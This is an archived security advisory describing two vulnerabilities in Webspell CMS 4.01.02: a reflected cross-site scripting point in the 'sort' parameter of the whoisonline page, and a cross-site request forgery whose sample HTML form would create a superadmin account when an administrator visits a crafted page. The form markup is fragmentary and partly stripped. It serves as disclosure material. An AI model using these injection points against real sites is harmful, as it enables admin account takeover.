AOH :: HP Unsorted W :: BX1675.HTM

Webspell 4.01.02 2 Vulnerabilites



Webspell 4.01.02 2 Vulnerabilites
Webspell 4.01.02 2 Vulnerabilites



########################################################################################
Webspell 4.01.02         2 Vulnerabilites     Founded by NBBN      Vendor: 
http://cms.webspell.org 
########################################################################################

1) Cross-Site Scripting Vulnerability
2) Change User Permission XSRF Vulnerability




1)

[xss">http://site.tld/path/index.php?site=whoisonline&sort=">[xss code] 










2)

This creates a superadmin account, when an admin click a link, to a site with 
the following code:



Superadmin Creator



action="http://site.tld/webspell/admin/admincenter.php?site=members" method="POST">

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.